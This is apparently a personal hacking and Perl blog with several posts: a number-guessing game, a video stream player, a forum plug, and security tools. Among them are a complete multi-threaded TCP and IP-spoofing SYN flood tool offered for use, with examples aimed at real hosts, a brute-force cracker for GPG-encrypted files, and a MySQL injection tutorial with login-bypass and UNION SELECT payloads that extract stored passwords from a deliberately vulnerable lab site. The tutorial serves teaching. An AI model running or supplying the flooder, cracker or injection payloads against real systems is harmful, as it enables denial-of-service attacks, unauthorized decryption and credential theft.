Social media sites have come a long way since their start-ups in 2003/2004. They have integrated with our lives as people continually put more and more information online.
This information is of value, to companies (like Facebook), but also to regular people. It is no longer uncommon for an employer to check a job applicant’s Facebook, before deciding to hire him or her.
Some people, usually privacy advocates, argue that social media websites hold too much information on us. In their opinion, people are posting too much (publicly visible) information on their profiles.
But just how much information do social media sites really hold on us? And how much information is too much information?
Big Brother is jolttz’s and my project at finding answers to these questions. If you’re interested in privacy-issues and like Perl programming (with WWW::Mechanize), then please join us. If you’re just curious, check out the README.
If you have any comments/questions or would like to help us out, then please send one of us a message on Github or join #perlbar on irc.malvager.net. (:
Big Brother: a joint effort at finding information
Jolttz’s first Perl script: NumberGame.pl
Today I was going through my old scripts and found this number game. I’m pretty sure this was my first Perl script ever. It’s a game where computer generates a random number and then you have to guess what it is. It’s really basic and great to learn from if you have just started learning Perl. There are even some explanations in comments. Have fun killing your time!
#!/usr/bin/perl # NumberGame.pl # jolttz's first Perl script use strict; use warnings; start: print ("Choose a range of numbers you want to be asked (Example: 10): "); chomp (my $intrand = <STDIN>); # Take the range my $random = int rand($intrand); # Generate a random number in the range of input print ("Now pick a number: "); my $number = <STDIN>; # Take the number if ($number == $random) { # If picked the same as computer print ("You picked the same number as computer, congratz!\n"); sleep(2); # Wait 2 seconds system("clear"); # Clear screen } else { # Else print ("You picked wrong number. Computer picked $random.\n"); sleep(2); system("clear"); } print ("Do you want to play again?(Y/n)"); # Ask to play again chomp (my $again = <STDIN>); if ($again eq "n") { # If doesn't want to play again exit; # Then exit } else { # Else system("clear"); # Clear screen goto start # Return to beginning }
Estonian Public Broadcasting videos on Linux (Eesti Rahvusringhääling)
This post is mostly for Estonians so decide yourself, if you want to read it or not.
Eesti Rahvusringhääling (ERR) – Estonian Public Broadcasting – is a publicly funded radio and television organisation created in Estonia on 1 June 2007 to take over the functions of the formerly separate Eesti Raadio (ER) (Estonian Radio) and Eesti Televisioon (ETV) (Estonian Television), under the terms of the Estonian National Broadcasting Act.
ERR uses MS Silverlight to display videos on its website, so watching the videos is quite complicated for Linux users. You would have to view the source of the page that displays the video, get the stream link, replace “http://” with “mmsh://” and then use mplayer or such to watch the video from the stream. Doing this for one time only isn’t that annoying but if you want to watch them daily, it can be really time consuming.
For that purpose, I wrote this Perl script to display 20 last headlines of the videos using Curses so you can then choose the video, you want to watch, and the script would open the stream in mplayer. With little changes you could make the script use almost any other video player (VLC, xine etc.) to display the video.
To run this script you need mplayer and two modules: LWP::UserAgent and Curses::UI. Arch users can simply enter “sudo pacman -S perl-libwww perl-curses-ui” to command line. There are two key bindings: “q” to quit and “r” to reload links.
#!/usr/bin/perl #!/usr/bin/perl # err-player.pl # Sun Apr 03 11:59:17 2010 # jolttz{ät}gmail{dot}com # Distributed under the terms of # the GNU General Public License # use LWP::UserAgent; use Curses::UI; use strict; use warnings; my $url = "http://uudised.err.ee/index.php?0534915"; my @values = (1 .. 20); my @parsed_links = 0; my @stream_links = 0; my $listbox = 0; my %titles = (); my $prog = 0; my $jr = 0; my $link; my $cui = Curses::UI->new( -clear_on_exit => 1, -color_support => 1 ); my $win = $cui->add( 'window_id', 'Window', -border => 1, ); $cui->progress( -max => 20, -message => "Laen, palun oota...", ); $cui->set_binding(sub {exit(0)}, "q"); $cui->set_binding(\&load_data, "r"); &load_data; $listbox = $win->add( 'mylistbox', 'Listbox', -values => [ @values ], -labels => { %titles }, -multi => 1, -onchange => \&open_video ); $listbox->focus(); $cui->mainloop; sub open_video { system("mplayer ". $stream_links[$listbox->get_active_id()+1]. " >> /dev/null 2>&1 &"); } sub load_data { @parsed_links = 0; @stream_links = 0; $listbox = 0; %titles = (); $prog = 0; $jr = 0; my $content = get_content($url); my @content_lines = split /\n/, $content; foreach my $line (@content_lines) { if ($line =~ /id=(\d+)/i) { $link = parse($1); push(@parsed_links, $link); $cui->setprogress($prog++); } } $cui->reset_curses; } sub get_content { my $url = shift; my $ua = LWP::UserAgent->new( agent => "ERR Parser" ); my $result = $ua->get($url); my $content = $result->content if $result->is_success; return $content; } sub parse { my $id = shift; my $url = "http://uudised.err.ee/index.php?0&popup=video&id=". $id; my $content = get_content($url); if ($content =~ "<title>(.*)</title>") { $jr++; $titles{ $jr } = $1; } if ($content =~ "filename=\".+(wms02.mmm.elion.ee/uudised/.+)\"") { push(@stream_links, "mmsh://$1"); return $1; } }
BSoD on a video arcade machine
It’s often heard as an argument against using GNU/Linux: “You can’t play (modern) games on it [as opposed to Windows].” But can you actually play games on Windows machines? Your initial answer might be yes, but maybe you should reconsider that?
BSoD on a video arcade machine at Helsinki Airport

The video arcade machine itself

TCP & SYN flooder (Perl)
This is my implementation of a multi-threaded TCP and SYN flooder. It’s named ‘Diluvium’ (Latin for ‘flood’).
The SYN flood function needs root privileges, since it will be spoofing your IP address. You need Perl and the following modules (check AUR if you’re on Arch):
- threads
- threads::shared
- Config
- Socket
- Data::Validate::IP
- Data::Validate::Domain
- Time::HiRes
- Getopt::Long::Descriptive
- Net::RawIP
I’m planning to add UDP flooding functionality to it some time.
Credits are at the top of the script.
The program is pretty user-friendly, for help just run the script (with -h). Besides, the code is highly commented.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 | #!/usr/bin/perl -w # TCP & SYN flooder # By Tom # kaabel.net/blog # irc.malvager.com #perlbar # TCP flooder based on Javaloic # SYN flooder based on synSpoofFlood by Lucas Allen # Modules used use strict; use threads; use threads::shared; use Config; use Socket; use Data::Validate::IP qw(is_ipv4 is_ipv6); use Data::Validate::Domain 'is_domain'; use Time::HiRes 'usleep'; use Getopt::Long::Descriptive; use Net::RawIP; # Declare variables my $type; my $target; my $port; my $thread_count; my $threads_left :shared; # Make the variable is 'global' for all threads my $delay; my $threads; my @thread_list; my $time; my $end_time; my $proto; my $sin; my $ip; my $error_message :shared; $error_message = ""; # Make sure it's not undef my $packet_count :shared; $packet_count = 1; local $| = 1; # Force a flush after every write or print, necessary for \r # Create the usage screen and make the options easily accesible my ($option, $usage) = describe_options( 'diluvium.pl %o type target port', ['delay|d=i', ''], # Delay takes an integer, notice 'd=i' # I left the description (second) field empty, because I won't be using $usage, since I think it's too restrictive ['stop|s=i', ''], ['threads|t=i', ''], ['help|h', ''], ['version|V', ''], ); if ($option->version) { # If ./diluvium.pl was called with --version or -V print "Diluvium 1.0\nTCP & SYN flooder in Perl\nAuthor: Tom\nBlog: kaabel.net\nIRC: irc.malvager.com #perlbar\nTCP flooder based on Javaloic\nSYN flooder based on synSpoofFlood by Lucas Allen\n"; exit; } # If the argument count isn't equal to two (start counting at zero), or if -h option was invoked if ($#ARGV != 2 or $option->help) { die "diluvium.pl [-dhstV] [long options...] type target port Type S|SYN Set the flooding type to SYN T|TCP Set the flooding type to TCP General options -d --delay The delay in between the individual packages in microseconds (Default: 100000 (TCP), 650 (SYN)) -s --stop Stop in this given amount of seconds (Default: 0, meaning go on until an error occurs ('forever')) TCP only options -t --threads The amount of threads to use (Default: 50) Help options -h --help Print this screen -V --version Print version and credits Examples: ./diluvium.pl S 172.19.3.1 8080 ./diluvium.pl -d 750 -s 300 SYN 172.19.3.1 443 ./diluvium.pl T -t 9 www.google.com 80 -d 130000 ./diluvium.pl TCP 192.168.1.1 80 --delay 120000 --threads 11 -s 300\n"; } if ($ARGV[0] =~ /S|(SYN)/ ) { print "[*]Flooding type set to SYN\n"; $type = "SYN"; } elsif ($ARGV[0] =~ /T|(TCP)/ ) { print "[*]Flooding type set to TCP\n"; $type = "TCP"; } # Assign the target (first argument) and verify it $target = $ARGV[1]; unless (is_ipv4($target) or is_ipv6($target) or is_domain($target)){ die "[!]Target should be a valid IP address or a domain name\n"; } # Assign the port (second argument) and verify it $port = $ARGV[2]; if ($port !~ /\d+/ or $port > 65534 or $port < 1) { die "[!]Port should be a integer in between 0 and 65535\n"; } # Set the amount of threads, if type is TCP if ($type eq "TCP") { if (!$Config{usethreads}) { # Check whether Perl has multithreading capabilities print "[!]No multithreading capabilites found! diluvium.pl won't be as effective as normal\n"; $threads = 0; # See if (!$threads) below } else { if ($option->threads) { # Is the amount of threads specified? if ($option->threads >= 200) { # If the amount of threads is greater or equal than 200 (bandwith consuming) &sure_threads; } $thread_count = $option->threads; # Set the thread_count to the specified integer print "[*]Amount of threads set to $thread_count\n"; } else { $thread_count = 50; # Go with the default amount of threads print "[*]Defaulting to 50 threads\n"; } $threads = $thread_count; # Set $threads to equal the amount of threads, see while loop below } $threads_left = $thread_count; #- 1; # Useful in the fail sub # Set the delay if ($option->delay) { # Very similar code to the $option->threads block if ($option->delay > 37500) { # Minimal Javaloic speed &sure_delay_slow; } elsif ($option->delay < 5660) { # Maximal Javaloic speed &sure_delay_fast; } $delay = $option->delay; print "[*]Delay set to $delay microseconds\n"; } else { $delay = 100000; print "[*]Defaulting to 100000 microseconds\n"; # Standard Javaloic speed } # Set the end time &stop; $proto = getprotobyname('tcp'); # Get the protocol number inet_aton($target) or die "[!]$target is not an existing domain\n"; # Convert the address into binary data $sin = sockaddr_in($port, inet_aton($target)); # Create a structure and include the port and the target print "[*]TCP flooding $target on port $port...\n"; if (!$threads or $thread_count == 1) { # If we're only using one thread &tcp_flood; # Just call the sub and start flooding } while ($threads) { # While there are threads to spawn $thread_list[$threads] = threads->create(\&tcp_flood); # Spawn a new thread and assign a list element to it $thread_list[$threads]->detach; # Detach the thread, don't wait for it to finish (join) $threads--; } $threads = 1; # Reset $threads while ($threads_left) { # While there are thread left (see fail sub) sleep 1; # Nothing to do, except wait } } if ($type eq "SYN") { die "[!]You must be root to SYN flood\n" if $> != 0; # Set the delay if ($option->delay) { # Very similar code to the $option->threads block if ($option->delay > 10000) { # ~6 kB &sure_delay_slow; } elsif ($option->delay < 500) { # ~90 kB &sure_delay_fast; } $delay = $option->delay; print "[*]Delay set to $delay microseconds\n"; } else { $delay = 650; # ~70 kB print "[*]Defaulting to 650 microseconds\n"; # Standard Javaloic speed } # Resolve domain name to IP $target = inet_ntoa(inet_aton($target)); # Set the end time &stop; &syn_flood # Here we go } # TCP flooding sub sub tcp_flood { socket(Socket, PF_INET, SOCK_STREAM, $proto); # Create a TCP socket connect(Socket, $sin) or &fail; # Connect to the socket or call fail $end_time = (time() + 1) if $time; # Make sure the until loop condition is false if no end time was specified until ($end_time <= time()) { my $message = &random(int(rand(20))+1); # Provide a random length (> 1 ;) to the random message sub send(Socket, $message, 0); # Send a random message over the socket (random to prevent easy filtering) $packet_count ++; # Increase the packet count print "\r[*]Successful requests: $packet_count"; # Overwrite the last printed number by the new count usleep($delay); # Microsleep $end_time = (time() + 1) if $time; # Make sure $end_time is always ahead of time() (Bit hacky) } $threads_left --; # Thread is (almost) done print "\n" if !$threads_left; # Put a newline after the final packet count, see fail sub also } # SYN flooding sub sub syn_flood { my $packet = Net::RawIP->new; $end_time = (time() + 1) if $time; # Make sure the until loop condition is false if no end time was specified until ($end_time <= time()) { $ip = &generate_ip; my $source_port = int(rand(65534))+1; # Pick a (port) number (integer) in between 0 and 65535 $packet->set({ # Create a packet with a random source IP and a random port number ip => {saddr => $ip, daddr => $target}, tcp => {source => $source_port, dest => $port, syn => 1} }); $packet->send; # Sent the previously crafted packet $packet_count ++; print "\r[*]Successfully sent $packet_count packets"; usleep($delay); # Microsleep $end_time = (time() + 1) if $time; # Make sure $end_time is always ahead of time() (Bit hacky) } print "\n"; # Put a newline after the final packet count } sub generate_ip { my $first = int(rand(255))+1; # Pick an integer in between 0 and 255 my $second = int(rand(255)); my $third = int(rand(255)); my $fourth = int(rand(255)); return "$first\.$second\.$third\.$fourth"; # Generate a fake IP address } # Failure TCP sub sub fail { $threads_left --; # Decrease the number of threads left since the thread will exit at the end of this sub # At first, $! will contain 'No route to host' if the host is not there, but after ~10 threads this message will change to 'Connection timed out' for some reason # However these are two different error messages and therefore can mean very different things. 'No route to host' basically means the host is not present, while connection time out could also mean that a firewall is blocking the port # To maintain this difference I'll be setting the error message 'manually' here if it contained 'No route to host' at first # This basically what the following four lines do $error_message = $! unless $error_message =~ /No route/; if ($error_message =~ /No route/) { $error_message = "No route"; } print "[!]$error_message to $target on port $port\n" if !$threads_left; # Print the fail message if we're down to the last thread, otherwise you'd see this message $thread_count times threads->exit(); # Exit (the thread or the main sub; works for both :)) } # Are you sure ... so many threads sub sub sure_threads { print "[?]Are you sure you want to deploy so many threads? [y\\N]\n"; # Print the question, N is default my $answer = <STDIN>; # Get the answer from STDIN (user input) chomp $answer; if ($answer !~ /\by\b/i) { # If the answer is not an y or an Y exit; } } # Are you sure ... this slow, delay sub sub sure_delay_slow { print "[?]Are you sure you want to go this slow? [y\\N]\n"; my $answer = <STDIN>; chomp $answer; if ($answer !~ /\by\b/i) { exit; } } # Similar to the sub above sub sure_delay_fast { print "[?]Are you sure you want to go this fast? [y\\N]\n"; my $answer = <STDIN>; if ($answer !~ /\by\b/i) { exit; } } # Stop time sub sub stop { if ($option->stop) { $end_time = $option->stop; $end_time = time() + $end_time; # Set $end_time at unix time + the amount of seconds specified } else { # If stop is zero or not specified $time = 1; } } # Generate random text sub # I took this code straight of the web: http://th.atguy.com/mycode/generate_random_string/ sub random { my $length_of_randomstring=shift;# The length of the random string to generate (see sub argument) my @chars=('a'..'z','A'..'Z','0'..'9','_'); # List of characters my $random_string; foreach (1..$length_of_randomstring) { # rand @chars will generate a random number between 0 and scalar @chars $random_string.=$chars[rand @chars]; } return $random_string; } |
Safe Nachos – A place for hackers (Forum)
Bsdpunk has recently started a forum. It’s called Safe Nachos and it’s a selfdescribed “place for hackers”. Real hackers, people who love programming, hacks & computers, NOT people who our looking to make money off “FUD grypters” and the like.
Up to now, it’s not been very crowded, but I believe the place has potential. So join safenachos.org!
Cracking passwords of GPG-encrypted files (Perl)
This script can be used to bruteforce the passwords on encrypted files by GnuPG.
The files are encrypted by:
gpg -c file
This script was largely based on this Python script and its author deserves by far most of the credit. Furthermore, the Perl script makes use of the GnuPG module, which can be obtained from cpan.org, or if you’re on Arch Linux by invoking: yaourt -S perl-gnupg.
I didn’t really bother extending the script with a way to handle user input or command line arguments, so you’ll have to edit the script, to make it suit your needs.
You can specify your charset by editing the contents of @range. Alphanumerical, for example would be:
@range = ('a' .. 'z', 0 .. 9);
$minlength holds the minimum length of the passwords to be cracked. You can probably figure out what $maxlength holds on your own.
Making $minlength equal $maxlength will make sure only one certain length is tested.
You must enter the file name of your encrypted file after ciphertext => and optionally a name for the output as well.
Currently, the script prints the current ‘try’ every 15 minutes, you can change that at if (($time + 900) < time()).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | #!/usr/bin/perl -w # This script was largely based on this Python script: http://www.rbgrn.net/content/25-how-to-write-brute-force-password-cracker # Author: Tom # Blog: kaabel.net/blog/ # IRC: irc.malvager.com #perlbar use strict; use GnuPG; my $gpg = new GnuPG(); # Create GnuPG handle my $found; my @range = ('a' .. 'z', 'A' .. 'Z'); # Edit your charset here (alpha+caps, in this case) my $maxlength = 5; # Max length of the password my $minlength = 1; my $time = time(); sub recurse($$$) { my ($width, $position, $basestring) = @_; # Get the arguments supplied in the function's arguments. foreach my $char (@range) { if ($position < $width - 1) { # If the position needs to be shifted &recurse ($width, $position+1, ("$basestring" . "$char")); # Guess why it's called recurse :p next; } # You must enter the file name of your encrypted file after ciphertext => and optionally a name for the output as well eval { $gpg->decrypt(ciphertext => 'file.gpg', output => 'file', passphrase => $basestring . $char, symmetric => 'true') }; # Eval is needed here, otherwise the program will end after an error. $found = $basestring . $char if !$@; # If there were no errors, make $found equal the password if (($time + 900) < time()) { # If 900 seconds have passed (15 minutes), print "Trying: " . $basestring . $char . "\n"; # print the current 'try' $time = time(); # Reset the tiem } if ($found) { # If the password was found, print "Found: $found\n"; exit; } } } foreach my $basewidth ($minlength .. $maxlength) { # Loop through the possible lengths of the password print "Checking paswords with length $basewidth\n"; &recurse($basewidth, 0, ""); # Call the cracking sub } |
MySQL injection tutorial (Hacking)
SQL injection is a very common technique to hack websites. The necessary vulnerabilities exist, because input isn’t sanitized. There are many notorious examples, such as the attack on copyrightprotected.com by some Anonymous “member(s)” recently.
In this tutorial, we’ll be using Apache and MySQL. Please consider this if you want to set it up for yourself. Setting up a local website has helped me to understand MySQL injections and I strongly encourage you to try it as well.
Furthermore, I will provide practical examples and explain why they work, because I feel that’s the best way to understand this technique. This tutorial does not intend to explain every possible SQL injection, it is more of an introduction, a tutorial explaining the basics. Once you’ll understand this, you can easily look for SQL injection cheat sheets for more types of injections.
A simple login injection
We’ll start of with an injection in a login form.
Setup
The login form is located at login.html. The source code looks like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | <html> <title>Vulnerable MySQL Website</title> <body> <H1> <center>Login</center> </H1> <form action='login.php' method='post'> <p><center>Username: <input type='text' name='username'/></center></p> <p><center>Password: <input type='text' name='password'/></center></p> <p><center><input type='submit'/></center></p> </form> </body> </html> |
As you can see, this is really simple form that takes an username and a password, these are then processed by login.php, which contains the following:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | <html> <title>Vulnerable MySQL Website</title> <body> <H1> <center>Login</center> </H1> <?php # Get the username and password from the post variable. $username = $_POST['username']; $password = $_POST['password']; $connect = mysql_connect('localhost', 'root', 'root') or die(mysql_error()); # Connect to the MySQL database $database = mysql_select_db('website', $connect) or die(mysql_error()); # Select the appropriate database $result = mysql_query("SELECT id FROM users WHERE username='$username' AND password='$password'") or die(mysql_error()); # Run the MySQL query, further explanation will follow #echo "SELECT id FROM users WHERE username='$username' AND password='$password'"; # Echo the query (for debugging purposes) if(!$result or !($row = mysql_fetch_row($result))) { # If the query failed or if there's no result for the query , die ('<H3><center>Invalid login credentials supplied, please go back and try again</center><H3>'); # Die with an error message } echo '<H3><center>Welcome!</center></H3>'; # Otherwise, greet! ?> </body> </html> |
Okay, so login.php uses MySQL. Let’s take a look at our MySQL database and tables.
I log in with: mysql -u root -p and then select the database: USE website;.
Now, DESCRIBE users; returns the following:
1 2 3 4 5 6 7 8 | mysql> DESCRIBE users; +----------+-------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +----------+-------------+------+-----+---------+-------+ | id | int(11) | YES | | NULL | | | username | varchar(35) | YES | | NULL | | | password | varchar(35) | YES | | NULL | | +----------+-------------+------+-----+---------+-------+ |
We can conclude that the table users contains three fields (it is more common to refer to these as columns, so I will do that from now on), id, username and password. Let’s see what the MySQL query in login.php does.
mysql_query("SELECT id FROM users WHERE username='$username' AND password='$password'");
This query selects an id from the table users. The id belongs to the username provided in combination with the password. Let’s say the table looks like this:
1 2 3 4 5 6 | +------+----------+----------+ | id | username | password | +------+----------+----------+ | 1 | root | root | | 2 | username | password | +------+----------+----------+ |
Running SELECT id FROM users WHERE username=’root’ AND password=’root’ will return 1, as id.
However, running SELECT id FROM users WHERE username=’root’ and password=’I have no clue’ won’t return anything, because the username/password combination is invalid, hence there is no database entry for such a query.
Exploiting the vulnerability
The script seems to do a good job. However, what happens if we break the script?
Let’s input ‘break! as username in login.html, the query in login.php then becomes:
mysql_query("SELECT id FROM users WHERE username=''break! AND password='I have no clue'"); # I have substituted $username and $password for their contents here
The page reports: (notice or die(mysql_error())):
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'break' and password='I have no clue'' at line 1
This is because it ends up with an extra single quote. Below, it shows with colours which quotes ‘close eachother’.
When there’s no error:
“SELECT id FROM users WHERE username=‘root‘ AND password=‘I have no clue‘“
When there is an error (a.k.a. malicious input):
“SELECT id FROM users WHERE username=‘‘break!‘ AND password=‘I have no clue‘“
This causes an error, because a) a quote remains ‘unclosed’ and b) because the query has become invalid, for example, break! is not a string here, but it’s not recognized as a MySQL statement, so it fails.
This is a very common way to check for SQL vulnerabilities.
How do we exploit this vulnerability?
The script only checks for a result, not a specific result, so any result will do. A very common technique will come in handy now: OR 1=1.
1=1 is always true, therefore the entire expression will be true, no matter what happens first. Remember we only had two users in our users table? Take a look at this (SELECT * selects everything):
1 2 3 4 5 6 7 | mysql> SELECT * FROM users WHERE id=3 OR 1=1; +------+----------+----------+ | id | username | password | +------+----------+----------+ | 1 | root | root | | 2 | username | password | +------+----------+----------+ |
So, although there the first expression wouldn’t supply us with any result, since there is no user with the id 3, the OR 1=1 makes it return everything in the table!
Now, how to combine this with the MySQL statement?
mysql_query("SELECT id FROM users WHERE username='break!' AND password='OR 1=1'"); # Substituted $username and $password again
You might have thought this would work, but it doesn’t. Simply, because OR 1=1 isn’t recognized as a statement but as the string part of the WHERE password= clause.
So, we need some way to ‘end this string’. This is where the quote comes in!
“SELECT id FROM users WHERE username=‘break!‘ AND password=‘‘OR 1=1‘“
The second yellow quote is the one we put in. Although we have successfully ‘enclosed’ the password string, we’re still left with an ‘unclosed’ quote. The right blue one (without our quote it would have matched the first yellow quote). So, what to do? There are multiple ways to tackle this problem, one way being:
“SELECT id FROM users WHERE username=‘break!‘ AND password=‘‘or ‘1‘=‘1‘“
We changed OR 1=1 to OR ’1′=’1 and the final closing quote will be put in by the PHP script.
Another way is to use a comment, — (double dashes) in MySQL.
“SELECT id FROM users WHERE username=‘break!‘ AND password=‘‘OR 1=1 — ‘“
Again, double dashes. Also, there is a space after the double dashes, don’t leave it out as it will not work that way. Your browser might truncate this last space, to ensure it stays there, try adding some arbitrary data after it, for example: ‘ OR 1=1 — blah
Anything entered after the double dashes, will be regarded a comment by MySQL, thus reducing the final ‘unclosed’ quote to a mere comment!
Remember, the red/double quotes are just there for PHP, they are not part of the actual MySQL statement!
(Of course, you could enter ‘OR 1=1 — in the username column, rendering the AND password= section as a comment.)
Both ways work and will reward us with a successful login!
Another, slightly more difficult example
The following situation is very common on websites vulnerable to SQL injection.
Setup
We’ve got a website that retrieves news articles using PHP’s GET. So, http://localhost/index.php?id=1 would retrieve the news article belonging to id 1. index.php looks like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | <html> <title>Vulnerable MySQL Website</title> <body> <H1> <center>News</center> </H1> <?php if(isset($_GET['id'])) { # If an id is specified $id = $_GET['id']; # Prepare the MySQL connection and stuff, see login.php $connect = mysql_connect('localhost', 'root', 'root') or die(mysql_error()); $database = mysql_select_db('website', $connect) or die(mysql_error()); $result = mysql_query("SELECT * FROM news WHERE id='$id'") or die(mysql_error()); #echo "SELECT * FROM news WHERE id=$id <br>"; # Echo the query (for debugging purposes) while ($row = mysql_fetch_assoc($result)) { # While there's another row in the result, fetch it echo "<H3><center>" . $row['text'] . "</center><br></H3>"; # and print the row in the contents of the column named text } include("menu.html"); } else { $id = 'index.php?id=1'; # If no id is specified, a.k.a. http://localhost/index.php or something similar header("Location: http://localhost/$id"); # Make the url: http://localhost/index.php?id=1 } ?> </body> </html> |
menu.html contains the following:
1 2 3 4 | <center><a href="index.php?id=1">First entry</a></center> <center><a href="index.php?id=2">Second entry</a></center> <center><a href="index.php?id=3">Third entry</a></center> <center><a href="login.html">Login</a></center> |
On to the table…
1 2 3 4 5 6 7 | mysql> DESCRIBE news; +-------+--------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +-------+--------------+------+-----+---------+-------+ | id | int(11) | YES | | NULL | | | text | varchar(100) | YES | | NULL | | +-------+--------------+------+-----+---------+-------+ |
Notice the contents of the column text are retrieved in the script above.
1 2 3 4 5 6 7 8 | mysql> SELECT * FROM news; +------+--------------------------+ | id | text | +------+--------------------------+ | 1 | A News Article | | 2 | Another News Article | | 3 | Yet Another News Article | +------+--------------------------+ |
Visiting http://localhost/index.php?id=2 would show us: Another News Article on the webpage.
Visiting http://localhost/index.php?id=4 (non-existent id) shows us nothing except the links from menu.html.
Exploiting the vulnerability
Instead of make it error, let’s see what happens when we insert ‘ OR 1=1 — for the id. This makes our query:
“SELECT text FROM news WHERE id=‘‘OR 1=1 — ‘“
The second yellow quote is ‘our’ quote again. Once more, double dashes followed by a space!
This prints:
A News Article
Another News Article
Yet Another News Article
So, clearly our injection is working, as it is returning everything in the text column from the news table.
We can use this vulnerability to find login credentials if there turns out to be an users table (the users table will be the same as in the first login example in our example). We’re going to use MySQL’s UNION SELECT to achieve this goal. UNION SELECT allows you to select multiple entries in one query.
A regular SELECT statement:
1 2 3 4 5 6 7 | mysql> SELECT id,username FROM users; +------+----------+ | id | username | +------+----------+ | 1 | root | | 2 | username | +------+----------+ |
UNION ALL SELECT statement:
1 2 3 4 5 6 7 8 9 | mysql> SELECT id,username FROM users UNION ALL SELECT id,password FROM users; +------+----------+ | id | username | +------+----------+ | 1 | root | | 2 | username | | 1 | root | | 2 | password | +------+----------+ |
UNION SELECT statement (compare this with the one above):
1 2 3 4 5 6 7 8 | mysql> SELECT id,username FROM users UNION SELECT id,password FROM users; +------+----------+ | id | username | +------+----------+ | 1 | root | | 2 | username | | 2 | password | +------+----------+ |
As you can see, UNION ALL includes duplicates as well, unlike UNION.
In this example, the users table contains the login credentials. However, table names may vary and often call for the necessary guessing. Another way to find out about table names is through Information_Schema, however, we’ll not dig into these techniques, as you can look them up (injection cheat sheets, see above) and will easily understand them using your basic SQL injection knowledge.
Now, you might have noticed that in the UNION SELECT statements above, the amount of columns retrieved in the SELECT and the UNION SELECT statements are equal (2). This must always be the case.
Now, how do you find the amount of columns retrieved?
Using ORDER BY.
ORDER BY allows you to sort results alphabetically based on their first letter, for example.
Take a look at these queries to see what I mean:
1 2 3 4 5 6 7 8 | mysql> SELECT text,id FROM news ORDER BY 2 DESC; +--------------------------+------+ | text | id | +--------------------------+------+ | Yet Another News Article | 3 | | Another News Article | 2 | | A News Article | 1 | +--------------------------+------+ |
We’ve ordered our results based upon the second column, id (notice ORDER BY 2) in a descending order (3 -> 1). But what would happen when we order by a non-existent column?
1 2 | mysql> SELECT text,id FROM news ORDER BY 3; ERROR 1054 (42S22): Unknown column '3' in 'order clause' |
An error, this means we can find out how many columns are retrieved through a SQL injection, because it throws an error when we have exceeded the limit!
The query in the script:
1 | mysql_query("SELECT * FROM news WHERE id='$id'") |
Selecting everything from the table news (2 columns, as I’ve shown above, but as the attacker you wouldn’t know this of course) .
And then we get out only the contents of the text column:
1 | echo "<H3><center>" . $row['text'] . "</center><br></H3>"; # Notice $row['text'] |
So, it may seem like the table contains one column, since only one is printed, but this is clearly not the case.
Now, let’s find the amount of columns through an injection.
“SELECT text FROM news WHERE id=‘1‘ORDER BY 1 — ‘“
throws no error.“SELECT text FROM news WHERE id=‘1‘ORDER BY 2 — ‘“
doesn’t either.“SELECT text FROM news WHERE id=‘1‘ORDER BY 3 — ‘“
does, as we expected (remember news had two columns?).So, to test our UNION SELECT statement:
“SELECT text FROM news WHERE id=‘-1‘UNION SELECT 1,2 — ‘“
This statement may need some explanation. Firstly, 1,2 because there were two columns. Secondly, I am using numbers here instead of username, password , because I want to take it one step at the time. Using numbers allows us to leave out the table name, because MySQL doesn’t expect a column name now (we could have used strings like ‘a’ as well). It’s like saying: “SELECT the digit 1″ now.Thirdly, notice WHERE id=’-1′, we want the results of the UNION SELECT statement, not those of the regular SELECT statement, so we make that statement return nothing.
This seems to work, since it prints a big 2 on the webpage (Only printing the contents of the text column!). Consider this as well:
1 2 3 4 5 6 | mysql> SELECT * FROM news WHERE id=-1 UNION SELECT 1,2; +------+------+ | id | text | +------+------+ | 1 | 2 | +------+------+ |
This is the query, and then the script gets out only the text column, hence the 2. Notice the column names are still id, text, this is because the first SELECT statement ‘makes them so’, the UNION SELECT statement doesn’t change them.
Using a different number of columns (for example, UNION SELECT 1,2,3 would have resulted in the following or similar error:
The used SELECT statements have a different number of columns
Moving on…
“SELECT text FROM news WHERE id=‘-1‘UNION SELECT 1,2 FROM users — ‘“
Still not putting in username, password, because I am testing for the right table name. If the table had not existed, it would print (remember website was our database?):
Table 'website.users' doesn't exist
We now need to insert the column names of the table users. Again, this may involve guessing or looking at Information_Schema. This is very similar to finding table names.
“SELECT text FROM news WHERE id=‘-1‘UNION SELECT 1,username FROM users — ‘“
I have only substituted the 2 here, because that’s the only one that’s printed out.
This prints the following on the webpage:
root
username
Remember that the script prints out everything belonging to the column text (See the while loop in index.php). To clarify:
1 2 3 4 5 6 7 | mysql> SELECT * FROM news WHERE id=-1 UNION SELECT 1,username FROM users; +------+----------+ | id | text | +------+----------+ | 1 | root | | 1 | username | +------+----------+ |
Getting the password will be easy now:
“SELECT text FROM news WHERE id=‘-1‘UNION SELECT 1,password FROM users — ‘“
Note: passwords are usually hashed and will need to be cracked.
One more example
Setup
